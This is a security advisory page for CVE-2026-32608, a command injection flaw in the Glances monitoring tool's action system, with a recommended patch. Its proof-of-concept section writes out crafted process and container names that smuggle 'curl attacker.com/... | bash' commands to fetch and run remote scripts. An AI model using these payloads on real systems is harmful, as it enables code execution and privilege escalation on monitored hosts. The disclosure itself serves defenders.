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Python CVE-2026-32608

HIGH
OS Command Injection (CWE-78)
2026-03-16 https://github.com/nicolargo/glances GHSA-vcv2-q258-wrg7
High
Disputed · 7.0 NVD
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Severity by source

Sources disagree (Low–High)
GitHub Advisory PRIMARY
7.0 HIGH
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
SUSE
3.1 LOW
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Local
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Analysis Generated
Mar 16, 2026 - 17:20 vuln.today
Patch released
Mar 16, 2026 - 17:20 nvd
Patch available
CVE Published
Mar 16, 2026 - 16:26 nvd
HIGH 7.0

DescriptionGitHub Advisory

Summary

The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.

Details

The action execution flow:

  1. Admin configures an action in glances.conf (documented feature):
ini
[cpu]
critical_action=echo "High CPU on {{name}}" | mail admin@example.com
  1. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
python
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
  1. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).
  2. In glances/actions.py:77-78, the Mustache library renders the template:
python
if chevron_tag:
    cmd_full = chevron.render(cmd, mustache_dict)
  1. The rendered command is passed to secure_popen() (glances/actions.py:84):
python
ret = secure_popen(cmd_full)

The secure_popen vulnerability (glances/secure.py:17-30):

python
def secure_popen(cmd):
    ret = ""
    for c in cmd.split("&&"):
        ret += __secure_popen(c)
    return ret

And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.

Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:

python
if stdout_redirect is not None:
    with open(stdout_redirect, "w") as stdout_redirect_file:
        stdout_redirect_file.write(ret)

PoC

Scenario 1: Command injection via pipe in process name

bash
# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log
# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
# 3. When the process triggers a critical alert, secure_popen splits by |:
#   Command 1: echo "ALERT: innocent
#   Command 2: curl attacker.com/evil.sh   <-- INJECTED
#   Command 3: bash used 99% CPU" >> /tmp/alerts.log

Scenario 2: Command chain via && in container name

bash
# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream
# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
# 3. secure_popen splits by &&:
#   Command 1: docker stats web
#   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED
#   Command 3: echo --no-stream

Impact

  • Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
  • Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
  • Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.
  • Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.

Recommended Fix

Sanitize Mustache-rendered values before secure_popen processes them:

python
# glances/actions.py

def _escape_for_secure_popen(value):
    """Escape characters that secure_popen treats as operators."""
    if not isinstance(value, str):
        return value
    value = value.replace("&&", " ")
    value = value.replace("|", " ")
    value = value.replace(">", " ")
    return value

def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
    for cmd in commands:
        if chevron_tag:
            if mustache_dict:
                safe_dict = {
                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v
                    for k, v in mustache_dict.items()
                }
            else:
                safe_dict = mustache_dict
            cmd_full = chevron.render(cmd, safe_dict)
        else:
            cmd_full = cmd
        ...

AnalysisAI

Glances monitoring system allows local attackers with limited privileges to execute arbitrary commands by injecting shell metacharacters into process or container names, which bypass command sanitization in the action execution handler. The vulnerability affects the threshold alert system that dynamically executes administrator-configured shell commands populated with runtime monitoring data. An attacker controlling a process name or container name can manipulate command parsing to break out of intended command boundaries and inject malicious commands.

Technical ContextAI

Glances (CPE: pkg:pip/glances) is a cross-platform system monitoring tool written in Python that allows administrators to configure automated actions when monitoring thresholds are exceeded. The vulnerability is classified as CWE-78 (OS Command Injection) and occurs in the secure_popen() function which attempts to safely execute shell commands by splitting on operators like |, &&, and > before passing to subprocess.Popen(shell=False). However, when Mustache template variables containing user-controlled data (process names, container names, mount points) are rendered into these commands, the splitting occurs after template expansion, allowing injected metacharacters to be interpreted as command separators rather than literal text.

RemediationAI

Upgrade Glances to version 4.5.2 or later which contains the security patch (commit 6f4ec53d967478e69917078e6f73f448001bf107) that properly escapes shell metacharacters in Mustache-rendered values. As an immediate workaround, review and modify any configured action templates in glances.conf to avoid using user-controllable variables like {{name}} or {{key}}, or restrict Glances execution to a non-privileged user account. Organizations should audit their Glances configurations for action templates and consider implementing additional process name validation at the system level to prevent creation of processes with shell metacharacters in their names.

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Vendor StatusVendor

SUSE

Severity: Low
Product Status
openSUSE Tumbleweed Fixed

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CVE-2026-32608 vulnerability details – vuln.today

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